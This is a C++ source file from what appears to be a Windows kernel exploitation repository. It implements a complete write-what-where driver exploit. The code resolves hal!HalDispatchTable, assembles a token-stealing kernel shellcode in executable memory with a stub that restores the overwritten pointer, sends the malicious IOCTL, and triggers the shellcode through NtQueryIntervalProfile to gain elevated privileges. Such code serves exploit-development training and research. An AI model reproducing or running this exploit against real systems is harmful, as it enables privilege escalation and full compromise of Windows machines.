-
-
Notifications
You must be signed in to change notification settings - Fork 18
/
ArbitraryOverwrite.cpp
263 lines (213 loc) · 8.47 KB
/
ArbitraryOverwrite.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#include "ArbitraryOverwrite.h"
bool
ExploitArbitraryOverwrite::exploit() {
/**
* The purpose of this exploit is to leverage the following code during processing
* of user-controlled input data in the driver:
* PAGE:00014B2A mov edi, [esi+WriteWhatWhere.what]
* PAGE:00014B2C mov ebx, [esi+WriteWhatWhere.where]
* [...]
* PAGE:00014B69 mov eax, [edi]
* PAGE:00014B6B mov [ebx], eax
*
* The result of this code can be a Write-What-Where condition, leading to a
* remote code execution. In order to put the Operating System in such state, we can
* use for the `Where` part the address of hal!HalDispatchTable+4 as it's the address
* of function callback named HaliQuerySystemInformation, that becomes invoked upon execution
* of NtQueryIntervalProfile. There we can supply a pointer to the kernel shellcode located in
* user-mode memory pages:
*
* *(hal!HalDispatchTable+4) = &KernelShellcode;
**/
struct arbitrary_overwrite_structure {
LPVOID* what;
LPVOID where;
};
const DWORD halDispatchTable = getHalDispatchTable();
if (!halDispatchTable) {
wcerr << L"[!] Could not locate the `hal!HalDispatchTable` symbol!" << endl;
return false;
}
// Now we are attempting to prepare a custom payload out of the default one named
// token_stealing_win7. The adjusted payload will be able to restore that overwritten pointer
// in order to preserve operating system's stability in a long run.
const void* shellcodePtr = reinterpret_cast<void*>(prepareCustomPayload(
halDispatchTable
));
if(!shellcodePtr) {
return false;
}
cout << "[+] `hal!HalDispatchTable+4` is located at: 0x" << hex << setw(8) << setfill('0')
<< halDispatchTable + 4 << endl;
/**
* we will be overwriting (hal!HalDispatchTable+4) that conta'ins function pointer to the
* hal!HaliQuerySystemInformation. That function can be reached by the following chain:
*
* NtQueryIntervalProfile() -> KeQueryIntervalProfile() -> HaliQuerySystemInformation()
*
* So calling `NtQueryIntervalProfile()` will be sufficient to trigger our overwritten pointer.
**/
arbitrary_overwrite_structure structure = {
/* what */ const_cast<LPVOID*>(&shellcodePtr),
/* where */ reinterpret_cast<LPVOID>(halDispatchTable + 4)
};
wcout << L"[+] Arbitrary Overwrite:\n\t- Where: 0x" << hex << setw(8) << setfill(L'0')
<< structure.where << L" (hal!HaliQuerySystemInformation)\n\t- What: 0x"
<< reinterpret_cast<DWORD>(shellcodePtr) << L" (address of shellcode in user space memory)" << endl;
bool ret = driver.SendIOCTL (
ExploitArbitraryOverwrite::Ioctl_Code,
&structure,
sizeof(structure)
);
invokeOverwrittenPointer();
return ret;
}
DWORD
ExploitArbitraryOverwrite::getHalDispatchTable() {
static const string halDispatchTable = "HalDispatchTable";
auto kernelModule = driver.GetKernelModuleInfos();
const DWORD kernelModuleImageBase = get<0>(kernelModule);
const wstring kernelModuleName = get<2>(kernelModule);
if(!kernelModuleImageBase) {
wcerr << L"[!] Could not load kernel's module informations." << endl;
return 0;
}
wcout << L"[.] Loading " << kernelModuleName << endl;
// Loading `ntoskrnl` into process memory space.
HMODULE kernelBaseInUserSpace = LoadLibraryW(kernelModuleName.c_str());
if(!kernelBaseInUserSpace) {
DWORD err = GetLastError();
wcerr << L"[!] Could not load kernel's module. Error: "
<< getErrorString(err) << L" (" << err << L")" << endl;
return 0;
}
cout << "[.] Determining " << halDispatchTable << " symbol's offset..." << endl;
// Getting an address of `HalDispatchTable` symbol.
const auto halDispatchTableAddr = GetProcAddress(
kernelBaseInUserSpace,
halDispatchTable.c_str()
);
if(!halDispatchTableAddr) {
wcerr << L"[!] Could not determine that symbol's offset";
return 0;
}
// Computing a real address of HalDispatchTable by the following formula:
// realAddress = addrOfSymbolInLoadedModule - loadedModuleBase + realKernelBase;
const DWORD halDispatchTableRealAddr = (
reinterpret_cast<DWORD>(halDispatchTableAddr) -
reinterpret_cast<DWORD>(kernelBaseInUserSpace) +
kernelModuleImageBase
);
return halDispatchTableRealAddr;
}
LPVOID
ExploitArbitraryOverwrite::prepareCustomPayload(
DWORD halDispatchTableRealAddr
) {
/**
* This function allocates a RWX memory buffer that will hold a dynamically
* adjusted kernel payload. Firstly, there will be a token_stealing_win7 payload copied
* up to the trailiing four NOPs marking the point where such modification could be applied.
* Then, after those NOPs, a function pointer restoration instructions will get copied.
* Those instructions will be responsible for the following operation:
* HalDispatchTable[1] = HalDispatchTable[1] + Difference;
* Where difference is a hardcoded value being a bytes distance between two functions, namely:
* HalpSetSystemInformation and HaliQuerySystemInformation.
* Such constructed payload will then be used during the actual exploitation process.
**/
auto shellcodePointer = adjustPayloadEpilogue(8);
customPayload.reset(new PUCHAR(reinterpret_cast<PUCHAR>(
VirtualAlloc (
(LPVOID)0,
Shellcode_Size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
))),
[](PUCHAR *ptr) {
if (*ptr != nullptr) {
wcout << L"[.] Freeing memory allocated for the kernel payload." << endl;
VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size);
delete ptr;
}
});
if(!customPayload) {
wcerr << L"[!] Could not allocate memory for the custom payload!" << endl;
return 0;
}
PUCHAR customPayloadPtr = reinterpret_cast<PUCHAR>(*customPayload);
const PUCHAR tokenStealingPayloadPtr = reinterpret_cast<const PUCHAR>(*shellcodePointer);
size_t nopsCave = 0;
// Looking for trailing four consecutive nops within template payload.
for(size_t pos = 32; pos < tokenStealingPayloadSize; pos++) {
if (tokenStealingPayloadPtr[pos + 0] == (UCHAR)0x90 &&
tokenStealingPayloadPtr[pos + 1] == (UCHAR)0x90 &&
tokenStealingPayloadPtr[pos + 2] == (UCHAR)0x90 &&
tokenStealingPayloadPtr[pos + 3] == (UCHAR)0x90
) {
// Found NOPs cave.
nopsCave = pos + 4;
break;
}
}
if (!nopsCave) {
throw runtime_error("Looking for trailing four consecutive NOPs has failed.");
}
// A function pointer restoration instructions to be executed at the end of the payload.
unsigned char restorePreviousPointer[18] = {
0xfa, // cli
0xb8, 0x44, 0x33, 0x22, 0x11, // mov eax, offset hal!HalDispatchTable+8
0x8b, 0x18, 0x81, // mov ebx, [eax]
0xeb, 0xdd, 0xcc, 0xbb, 0xaa, // sub ebx, diff
0x89, 0x58, 0xfc, // mov [eax - 4], ebx
0xfb // sti
};
// Adjusting the function restoration stub with dynamically computed pointer and a difference.
*(reinterpret_cast<DWORD*>(&restorePreviousPointer[ 2])) = halDispatchTableRealAddr + 8;
*(reinterpret_cast<DWORD*>(&restorePreviousPointer[10])) = HAL_THIRD_TO_SECOND_ENTRY_DIFFERENCE;
// Step 0: Memsetting with NOPes
memset (
customPayloadPtr,
0x90,
ExploitArbitraryOverwrite::Shellcode_Size
);
// Step 1: Copy the first part of the shellcode up until four consecutive NOPs in it.
memcpy (
customPayloadPtr,
tokenStealingPayloadPtr,
nopsCave
);
// Step 2: Now append function pointer restoration instructions after that NOPs
memcpy (
&customPayloadPtr[nopsCave],
restorePreviousPointer,
sizeof(restorePreviousPointer)
);
// Step 3: Finally add the second part of the original payload.
memcpy (
&customPayloadPtr[nopsCave + sizeof(restorePreviousPointer)],
reinterpret_cast<void*>(&tokenStealingPayloadPtr[nopsCave]),
tokenStealingPayloadSize - nopsCave
);
wcout << L"[.] Constructed custom payload capable of restoring overwritten pointer." << endl;
return *customPayload;
}
bool
ExploitArbitraryOverwrite::invokeOverwrittenPointer() {
wcout << L"[.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`" << endl;
typeNtQueryIntervalProfile NtQueryIntervalProfile;
// Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
NtQueryIntervalProfile = reinterpret_cast<typeNtQueryIntervalProfile>(GetProcAddress(
GetModuleHandleW(L"ntdll.dll"),
"NtQueryIntervalProfile"
));
// Call the function in order to launch our shellcode
ULONG dummy = 0;
NTSTATUS stat = NtQueryIntervalProfile(2, &dummy);
if (NT_SUCCESS(stat)) {
return true;
} else {
wcerr << L"[!] NtQueryIntervalProfile failed with code: 0x"
<< hex << setw(8) << setfill(L'0') << stat << endl;
return false;
}
}